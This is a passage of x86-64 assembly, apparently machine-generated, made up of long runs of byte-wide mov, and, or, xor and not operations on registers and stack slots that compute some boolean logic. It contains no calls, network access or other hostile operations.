mov ecx, ebx
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
or dil, dl
mov ebx, eax
xor bl, 1
and bl, al
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and dl, dil
xor dil, 1
and bl, dil
or bl, dl
mov edx, eax
xor dl, dil
or dil, al
xor dil, 1
or dil, dl
xor bl, 1
mov eax, ebx
xor al, dil
or bl, dil
xor bl, 1
or bl, al
mov edi, ebx
xor dil, 1
mov eax, ebx
and al, dil
mov edx, eax
xor dl, 1
xor al, bl
or dl, dil
xor dl, 1
or dl, al
mov eax, edx
and al, r9b
xor dl, 1
and dl, r11b
or dl, al
mov eax, r11d
xor al, cl
and al, r11b
xor cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
and cl, dl
or dl, bl
xor dl, 1
and r9b, bl
or r9b, cl
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
mov eax, r9d
xor al, 1
mov ebx, eax
xor r12b, sil
and sil, r12b
mov eax, r12d
xor al, 1
mov byte [rbp + 0x30], al
and al, r12b
xor al, 1
mov ecx, r12d
xor cl, al
or al, r12b
xor al, 1
or al, cl
xor al, sil
mov ecx, eax
xor cl, 1
and sil, cl
mov edx, esi
xor dl, 1
xor sil, al
or dl, cl
xor dl, 1
or dl, sil
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r15d, edx
xor r15b, 1
and r15b, dl
xor r15b, 1
mov edx, r15d
or dl, al
xor dl, 1
xor r15b, al
mov eax, edx
and al, r15b
xor r15b, dl
or r15b, al
mov edi, r9d
and dil, bl
mov byte [rbp + 0x38], bl
mov esi, r9d
and sil, dil
xor dil, r9b
mov edx, r9d
mov r13d, r9d
mov byte [rbp + 0x2c], r15b
mov eax, r15d
xor al, 1
or r15b, al
mov r14d, r15d
or r14b, al
xor r15b, al
and al, r9b
mov byte [rbp + 0x28], al
or r9b, bl
mov byte [rbp + 0x3c], r9b
mov ecx, r9d
xor cl, 1
mov byte [rbp + 0x3d], cl
mov eax, r9d
and al, cl
or dil, sil
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, edi
xor cl, 1
and cl, al
xor al, 1
and al, dil
or al, cl
and dl, r9b
mov byte [rbp + 0x3b], dl
xor r13b, r9b
or r13b, dl
xor r13b, 1
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov eax, r13d
xor al, 1
mov ecx, r13d
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, r13d
and dl, al
xor al, r13b
or al, dl
mov edx, eax
xor dl, 1
mov r9d, edx
and r9b, al
mov ebx, r9d
xor bl, 1
or bl, al
xor cl, 1
xor r9b, dl
xor bl, 1
or bl, r9b
xor bl, cl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
or al, bl
mov edx, r9d
and dl, cl
mov ebx, r9d
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, eax
xor bl, 1
mov r11d, edx
xor r11b, 1
and r11b, al
and dl, bl
or dl, r11b
xor al, r9b
or bl, cl
xor bl, 1
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r11d, ebx
xor r11b, 1
or r11b, bl
xor r11b, 1
mov eax, ebx
and al, r11b
xor r11b, bl
or r11b, al
mov edx, r11d
xor dl, 1
or r10b, r8b
mov r8d, r10d
xor r8b, 1
mov eax, r10d
or al, r8b
mov ecx, eax
not cl
and cl, r10b
and r8b, al
or r8b, cl
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
xor r8b, 1
mov ecx, r8d
xor cl, al
or r8b, al
xor r8b, 1
or r8b, cl
mov eax, r8d
xor al, 1
or r8b, al
xor r8b, 1
or r8b, al
xor r14b, 1
mov eax, r14d
and al, r15b
xor r15b, r14b
or r15b, al
mov eax, r15d
movzx ecx, byte [rbp + 0x2c]
or al, cl
xor al, 1
xor r15b, cl
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov byte [rbp + 0x39], r15b
mov eax, r12d
movzx ecx, byte [rbp + 0x30]
xor al, cl
or cl, r12b
xor cl, 1
or cl, al
mov byte [rbp + 0x30], cl
mov r15d, edx
mov eax, edx
xor al, r11b
and al, dl
mov byte [rbp + 0x25], dl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
xor r9b, 1
mov byte [rbp + 0x26], r9b
mov eax, r9d
or al, cl
mov ebx, ecx
and bl, r9b
mov edx, ebx
and dl, cl
mov byte [rbp + 0x3a], dl
xor bl, cl
mov byte [rbp + 0x37], bl
xor cl, r9b
mov byte [rbp + 0x27], cl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r12d, r8d
xor r12b, 1
mov eax, r8d
xor al, r12b
mov esi, r12d
or sil, r8b
mov edx, r8d
and dl, sil
mov byte [rbp + 0x1f], dl
xor sil, 1
mov edx, esi
xor dl, r12b
and dl, sil
mov byte [rbp + 0x21], dl
and sil, r12b
mov edx, r12d
and r12b, r8b
xor dl, r12b
xor r12b, 1
mov ebx, r12d
or bl, r8b
xor bl, 1
mov byte [rbp + 0x20], bl
or dl, bl
xor dl, 1
mov ebx, edx
xor bl, r8b
xor dl, bl
and dl, bl
mov byte [rbp + 0x22], dl
mov edx, eax
xor dl, r8b
and dl, al
mov byte [rbp + 0x23], dl
mov r9d, ecx
xor r9b, 1
mov eax, r9d
and al, cl
mov edx, r9d
and dl, al
mov r13d, r9d
xor r13b, al
or r13b, dl
and r15b, r11b
mov r10d, r11d
and r10b, r15b
mov edx, r11d
xor dl, r15b
or dl, r10b
mov ebx, r13d
xor bl, 1
mov byte [rbp + 0x24], bl
mov r14d, r13d
or r14b, bl
mov ebx, r14d
xor bl, 1
mov edi, r14d
and dil, bl
mov r10d, r14d
xor r10b, dil
xor dil, 1
or dil, bl
xor dil, 1
or dil, r10b
xor al, 1
mov r10d, ecx
xor r10b, al
or al, cl
xor al, 1
or al, r10b
xor al, dil
xor r14b, r9b
or bl, cl
xor bl, 1
or bl, r14b
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
xor al, 1
or al, cl
mov r10d, edx
xor r10b, 1
mov ebx, edx
or bl, r10b
mov r9d, ebx
xor r9b, 1
mov ecx, r9d
and cl, bl
mov edi, ecx
and dil, r9b
xor cl, r9b
or cl, dil
mov r9d, r15d
movzx edi, byte [rbp + 0x25]
and r9b, dil
xor r15b, dil
or r15b, r9b
mov r9d, ecx
xor r9b, 1
and r9b, r15b
xor r15b, 1
and r15b, cl
or r15b, r9b
mov ecx, ebx
and cl, r11b
xor bl, r11b
or bl, cl
mov ecx, ebx
xor cl, r15b
xor r15b, 1
or r15b, bl
xor cl, 1
xor r15b, 1
or r15b, cl
xor al, 1
mov ecx, eax
xor cl, r15b
xor cl, 1
and cl, r15b
or al, r15b
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
and r13b, r10b
movzx ebx, byte [rbp + 0x24]
and dl, bl
or dl, r13b
mov ecx, ebx
and cl, r10b
xor r10b, bl
or r10b, cl
xor dl, 1
mov ecx, edx
xor cl, r10b
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
and cl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov ebx, edx
xor bl, 1
mov r9d, ebx
and r9b, dl
mov r11d, r9d
xor r11b, 1
or r11b, dl
xor r9b, bl
xor r11b, 1
or r11b, r9b
mov edx, ecx
xor dl, 1
and dl, r11b
xor r11b, 1
and r11b, cl
or r11b, dl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
xor r11b, 1
mov eax, r11d
xor al, bl
or r11b, bl
xor r11b, 1
or r11b, al
movzx r10d, byte [rbp + 0x23]
mov eax, r10d
xor al, 1
movzx r9d, byte [rbp + 0x22]
mov ecx, r9d
xor cl, 1
mov edx, r10d
and dl, al
and al, cl
mov ebx, r9d
and bl, r10b
or bl, al
mov eax, edx
and al, r10b
xor dl, r10b
or dl, al
xor bl, 1
or bl, cl
and cl, dl
xor dl, 1
and dl, r9b
or dl, cl
mov eax, edx
xor al, 1
mov r9d, edx
and r9b, al
mov ecx, r9d
xor r9b, dl
xor cl, 1
or cl, al
xor cl, 1
or cl, r9b
mov r9d, ecx
and r9b, bl
mov edx, ebx
and dl, al
xor al, bl
xor bl, 1
xor cl, 1
and cl, bl
or cl, r9b
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor r11b, 1
mov eax, r11d
and al, cl
mov edx, r11d
xor r11b, cl
xor cl, 1
xor dl, cl
xor cl, dl
and cl, dl
or r11b, al
mov eax, r11d
xor al, 1
mov edx, ecx
xor dl, 1
and al, dl
or dl, r11b
and r11b, cl
or r11b, al
xor dl, 1
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
or sil, byte [rbp + 0x1f]
movzx ecx, byte [rbp + 0x21]
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
movzx ecx, byte [rbp + 0x26]
movzx eax, byte [rbp + 0x27]
and al, cl
xor sil, al
xor sil, 1
movzx eax, byte [rbp + 0x37]
or al, byte [rbp + 0x3a]
xor r12b, r8b
or r12b, byte [rbp + 0x20]
xor r12b, al
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov eax, ecx
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, cl
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, 1
mov ecx, r12d
and cl, al
mov edx, r12d
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, sil
mov eax, esi
and al, r12b
xor r12b, sil
or r12b, al
xor r12b, 1
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov eax, r12d
xor al, 1
mov ecx, eax
or cl, r12b
mov edx, ecx
xor dl, 1
and dl, r12b
or r12b, cl
xor r12b, 1
and cl, al
or cl, dl
mov eax, r12d
and al, cl
xor cl, r12b
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
mov r8d, r11d
xor r8b, 1
mov r9d, r11d
or r9b, r8b
mov ebx, r9d
xor bl, 1
mov ecx, ebx
and cl, r9b
mov r10d, ecx
and r10b, bl
xor cl, bl
mov ebx, r8d
xor bl, r11b
and bl, r8b
or cl, r10b
xor cl, bl
xor bl, 1
mov r10d, ebx
and r10b, r9b
xor bl, r9b
or bl, r10b
xor bl, 1
mov r9d, ecx
and r9b, bl
xor bl, cl
or bl, r9b
mov ecx, edx
and cl, al
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
mov r9d, eax
xor r9b, 1
and al, r9b
mov r10d, r9d
and r10b, al
xor al, r9b
movzx edi, byte [rbp + 0x39]
mov r9d, edi
xor r9b, 1
or al, r10b
movzx r10d, byte [rbp + 0x30]
mov esi, r10d
xor sil, 1
xor al, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
and r8b, cl
xor cl, 1
and cl, r11b
or cl, r8b
mov ebx, r11d
and bl, dl
xor dl, r11b
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or dl, cl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov byte [rbp + 0x3a], dl
mov edx, edi
mov ecx, edi
and cl, r9b
mov eax, edi
and al, cl
xor cl, dil
or cl, al
or r9b, dil
mov edx, ecx
xor dl, r9b
xor r9b, 1
mov r11d, r9d
xor r11b, cl
xor dl, 1
or r9b, cl
xor r9b, 1
or r9b, dl
mov ecx, r9d
xor cl, r11b
xor r11b, 1
xor cl, 1
or r11b, r9b
xor r11b, 1
or r11b, cl
mov r15d, esi
mov ecx, r10d
or r15b, r10b
mov edx, r15d
xor dl, 1
mov ebx, esi
or bl, r15b
and dl, sil
and r15b, r10b
or r15b, dl
xor r15b, 1
mov edx, ebx
xor dl, r15b
or r15b, bl
xor r15b, 1
or r15b, dl
mov r9d, r11d
xor r9b, 1
mov ebx, r9d
and bl, r11b
mov edx, r9d
xor dl, bl
xor bl, 1
or bl, r11b
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r10d, edx
and r10b, bl
xor dl, bl
or dl, r10b
mov r10d, r15d
xor r10b, 1
or al, bl
mov ebx, eax
xor bl, dl
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, r15d
xor al, r10b
mov r14d, r15d
xor r14b, al
xor r14b, 1
and r14b, al
mov edi, ecx
and dil, sil
xor sil, cl
mov r12d, edx
xor r12b, 1
or sil, dil
mov ecx, r12d
and cl, dl
xor cl, 1
mov edi, edx
xor dil, cl
or cl, dl
xor cl, 1
or cl, dil
or r12b, dl
mov edi, ecx
xor dil, 1
mov ebx, r12d
xor bl, 1
mov eax, ecx
and al, dil
mov r13d, eax
xor r13b, 1
mov edx, r13d
xor dl, dil
or r13b, dil
xor r13b, 1
or dl, r13b
mov r8d, edx
xor r8b, 1
and r8b, bl
and dl, r12b
or dl, r8b
xor r12b, dil
or bl, cl
xor bl, 1
or bl, r12b
xor bl, 1
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov r8d, ebx
xor r8b, 1
mov edx, r8d
and dl, bl
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
xor al, cl
or al, r13b
xor al, 1
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor dl, 1
xor cl, 1
or cl, bl
xor cl, 1
mov eax, edx
or al, cl
xor al, 1
xor cl, dl
mov edx, eax
and dl, cl
xor cl, al
mov eax, esi
xor al, 1
or cl, dl
mov edx, r14d
xor dl, sil
or sil, r14b
xor r14b, 1
xor dl, 1
or dl, r14b
xor sil, 1
or r14b, al
xor r14b, 1
mov eax, esi
and al, r14b
xor r14b, sil
or r14b, al
mov eax, r14d
xor al, 1
mov ebx, r14d
and bl, al
mov r8d, ebx
and r8b, r14b
xor bl, r14b
or bl, r8b
xor bl, dl
mov r8d, edx
and r8b, al
xor al, dl
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, ecx
xor bl, al
xor bl, 1
xor al, 1
mov edx, ebx
or dl, al
xor dl, 1
or al, cl
xor al, 1
or al, bl
xor al, dl
and dl, al
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, r9d
and al, r10b
xor r9b, r10b
or r9b, al
xor r15b, r11b
mov ecx, r9d
xor cl, r15b
xor r15b, 1
or r15b, r9b
xor r15b, 1
xor cl, 1
mov eax, r15d
and al, cl
xor cl, r15b
or cl, al
mov r8d, ecx
xor r8b, 1
mov eax, ecx
or al, r8b
mov ebx, eax
xor bl, 1
and bl, cl
or cl, al
and al, r8b
or al, bl
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov r8d, ecx
and r8b, al
mov ebx, r8d
xor bl, 1
xor r8b, cl
or bl, al
xor bl, 1
or bl, r8b
or cl, al
mov eax, ecx
xor al, bl
xor bl, 1
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov r8d, edx
xor r8b, 1
mov eax, r8d
xor al, bl
xor bl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
and cl, bl
or bl, r8b
xor bl, 1
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov ecx, edx
and cl, bl
xor bl, 1
and r10b, bl
or r10b, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, r10b
xor r10b, 1
xor cl, 1
or r10b, bl
xor r10b, 1
or r10b, cl
movzx ecx, byte [rbp + 0x3a]
mov eax, ecx
mov ebx, r10d
xor bl, 1
mov edx, ebx
and dl, r10b
xor bl, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov r9d, r8d
and r9b, dl
mov ebx, r9d
xor bl, 1
xor r9b, dl
or bl, r8b
xor bl, 1
or bl, r9b
mov edx, ecx
mov r8d, ecx
xor r8b, bl
and bl, cl
xor dl, 1
or al, dl
xor al, 1
xor dl, al
and al, dl
mov r9d, edx
xor r9b, al
xor al, 1
xor r9b, 1
or al, dl
xor al, 1
or al, r9b
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
mov eax, ecx
and al, r9b
mov edx, eax
xor dl, 1
xor al, cl
or dl, r9b
xor dl, 1
or dl, al
xor dl, r10b
xor dl, 1
mov eax, edx
xor al, r10b
xor dl, al
and dl, al
mov eax, r8d
xor al, 1
or bl, r8b
xor r8b, bl
xor r8b, 1
or bl, al
xor bl, 1
or bl, r8b
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
mov ecx, edx
or cl, bl
xor cl, 1
or cl, al
mov eax, ebx
xor al, dl
and bl, al
and al, dl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov r10d, eax
and al, cl
xor cl, 1
xor r10b, 1
mov edx, ecx
xor dl, r10b
and dl, cl
and r10b, cl
or r10b, al
mov eax, edx
xor al, 1
xor dl, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, dl
movzx eax, byte [rbp + 0x38]
mov ecx, eax
movzx edx, byte [rbp + 0x2c]
xor cl, dl
and cl, al
movzx ebx, byte [rbp + 0x3c]
or bl, al
movzx r9d, byte [rbp + 0x3d]
and r9b, al
and al, dl
mov r11d, edx
or al, byte [rbp + 0x28]
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, eax
xor r8b, 1
mov edx, r9d
or dl, byte [rbp + 0x3b]
mov ecx, ebx
xor cl, dl
xor dl, 1
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
xor dl, r11b
mov ebx, edx
xor bl, 1
mov r9d, ebx
and r9b, dl
mov ecx, ebx
xor cl, r9b
xor r9b, 1
or r9b, dl
mov esi, edx
xor r9b, 1
or r9b, cl
mov edx, r9d
xor dl, 1
mov r11d, r9d
xor r11b, dl
and r11b, r9b
or bl, sil
xor bl, 1
mov esi, r8d
and sil, al
mov ecx, esi
xor cl, 1
mov edi, eax
xor dil, cl
or cl, al
xor cl, 1
or cl, dil
xor cl, 1
or al, r8b
xor al, 1
mov edi, ecx
and dil, al
xor al, cl
or al, dil
mov edi, r11d
xor dil, 1
mov ecx, edi
and cl, r11b
mov r14d, edi
and r14b, cl
xor cl, dil
or cl, r14b
xor cl, bl
mov edi, r11d
xor dil, bl
or bl, r11b
xor bl, 1
or bl, dil
mov r11d, ecx
xor r11b, bl
or bl, cl
xor bl, 1
or bl, r11b
mov ecx, ebx
xor cl, 1
or cl, al
xor al, 1
or al, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, r8d
and cl, sil
xor sil, r8b
or sil, cl
mov ecx, esi
xor cl, 1
and cl, dl
and sil, r9b
or sil, cl
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
xor dl, 1
mov ecx, esi
and cl, dl
xor dl, sil
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
xor bl, al
mov ecx, ebx
xor cl, 1
and cl, al
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
mov r9d, ecx
xor r9b, 1
mov eax, ecx
or al, r9b
xor al, r9b
mov ebx, eax
and bl, r9b
xor al, 1
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
xor al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov r8d, ebx
xor r8b, 1
and cl, r9b
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, 1
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov r9d, ebx
xor r9b, 1
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
and cl, r8b
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
and bl, r9b
and dl, cl
mov r8d, ebx
and r8b, r9b
xor bl, r9b
or bl, r8b
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
or al, dl
mov edx, eax
xor dl, 1
mov r8d, edx
mov ebx, ecx
or dl, cl
xor cl, 1
and r8b, cl
and bl, al
or bl, r8b
xor al, cl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov r8d, edx
and r8b, cl
xor cl, 1
mov ebx, ecx
and bl, al
or bl, r8b
mov r8d, ecx
and r8b, dl
xor cl, dl
or cl, r8b
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov edi, ecx
xor dil, 1
and dl, cl
or cl, al
xor cl, 1
and dil, al
or dil, dl
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov r9d, edi
xor r9b, 1
mov eax, r10d
xor al, 1
mov ecx, r10d
or cl, al
mov edx, ecx
xor dl, 1
mov esi, ecx
and sil, dl
mov ebx, ecx
and bl, sil
xor sil, cl
or sil, bl
mov ecx, esi
and cl, al
xor sil, 1
and sil, r10b
or sil, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
xor sil, 1
mov ecx, esi
xor cl, dl
or sil, dl
xor sil, 1
or sil, cl
mov r8d, esi
xor r8b, 1
mov r12d, edi
and r12b, r9b
mov ecx, r12d
and cl, dil
xor r12b, dil
or r12b, cl
mov ecx, r9d
or cl, dil
mov edx, ecx
xor dl, r12b
xor r12b, 1
xor dl, 1
or r12b, cl
xor r12b, 1
or r12b, dl
mov ecx, r12d
xor cl, 1
and r12b, cl
mov edx, ecx
and dl, r12b
xor r12b, cl
or r12b, dl
mov r11d, r12d
xor r11b, 1
mov ecx, r8d
and cl, sil
mov r15d, r8d
xor r15b, sil
or r15b, cl
mov ecx, r15d
xor cl, 1
and r15b, cl
mov edx, ecx
and dl, r15b
xor r15b, cl
or r15b, dl
mov r14d, r15d
xor r14b, 1
mov ecx, eax
and cl, r10b
xor al, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r10d, eax
xor r10b, 1
mov r13d, r12d
and r13b, r11b
mov ecx, r12d
and cl, r13b
xor r13b, r12b
or r13b, cl
xor r13b, 1
mov ecx, r13d
and cl, r12b
xor r13b, r12b
or r13b, cl
and r10b, al
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov eax, r14d
or al, r15b
xor al, 1
mov ecx, r10d
xor cl, 1
mov edx, r14d
and dl, r15b
mov ebx, edx
xor bl, 1
xor dl, r14b
or bl, r15b
xor bl, 1
or bl, dl
xor bl, al
mov edx, r14d
xor dl, al
or al, r14b
xor al, 1
or al, dl
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov edx, r10d
or dl, cl
xor dl, 1
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
xor bl, 1
mov eax, ebx
xor al, dl
xor al, 1
and al, dl
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, r14d
xor dl, cl
and dl, r14b
and r10b, r15b
and cl, r14b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, r13d
and cl, dil
xor dil, r13b
or dil, cl
mov ecx, r13d
xor cl, r9b
xor cl, 1
and cl, r9b
or r13b, r9b
xor cl, 1
mov edx, ecx
xor dl, r13b
or cl, r13b
xor cl, 1
or cl, dl
mov edx, ecx
and cl, dil
xor dil, 1
xor dl, 1
mov ebx, edi
xor bl, dl
and bl, dil
and dl, dil
or dl, cl
xor bl, 1
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov edi, ecx
and dil, dl
mov ebx, ecx
and bl, dil
xor dil, cl
xor cl, al
xor al, 1
or dl, al
xor dl, 1
or dl, cl
or dil, bl
xor dil, 1
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, edx
or al, dil
xor dil, dl
xor dil, 1
mov ecx, eax
xor cl, dil
or dil, al
xor dil, 1
or dil, cl
mov ecx, esi
or cl, r8b
mov edx, ecx
xor dl, 1
mov r10d, r12d
xor r10b, r11b
and r10b, r12b
mov eax, r11d
or al, r12b
mov r9d, eax
xor r9b, 1
mov ebx, r8d
xor bl, cl
and bl, r8b
and dl, sil
and cl, r8b
or cl, dl
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, r10d
xor dl, 1
and r9b, dl
or dl, al
and al, r10b
or al, r9b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, eax
or dl, cl
xor dl, 1
xor al, cl
xor al, 1
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
and sil, r12b
and r11b, r8b
or r11b, sil
mov ecx, r8d
xor cl, r12b
or r12b, r8b
xor r12b, 1
or r12b, cl
xor r11b, 1
mov ecx, r11d
xor cl, r12b
or r11b, r12b
xor r11b, 1
or r11b, cl
xor al, 1
mov ecx, eax
or cl, r11b
xor cl, 1
xor al, r11b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov r14d, ecx
and r14b, al
mov edx, r14d
xor dl, 1
and al, dl
or dl, cl
xor dl, 1
and r14b, cl
or r14b, al
mov eax, edx
and al, r14b
xor r14b, dl
or r14b, al
mov r8d, r14d
xor r8b, 1
mov ecx, edi
xor cl, 1
mov r9d, r14d
or r9b, r8b
mov ebx, r9d
xor bl, 1
mov edx, edi
mov r11d, edi
mov esi, r8d
and sil, r14b
and bl, r9b
mov eax, r8d
and al, sil
mov byte [rbp + 0x30], al
xor sil, r8b
mov r12d, r9d
and r12b, bl
xor bl, r9b
mov r13d, r8d
and r13b, r9b
xor r9b, r8b
mov r15d, r14d
and r15b, dil
mov r10d, ecx
and r10b, r8b
xor r8b, dil
mov eax, edi
or al, cl
mov edi, eax
xor dil, 1
xor dl, al
and al, cl
and r11b, dil
or r11b, al
or dil, cl
xor dil, 1
or dil, dl
xor dil, 1
mov eax, r11d
and al, dil
xor dil, r11b
or dil, al
or sil, byte [rbp + 0x30]
or bl, r12b
mov eax, esi
xor al, 1
and al, bl
xor bl, 1
and bl, sil
or bl, al
or r9b, r13b
xor bl, 1
mov eax, ebx
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
or al, dil
xor dil, 1
or dil, bl
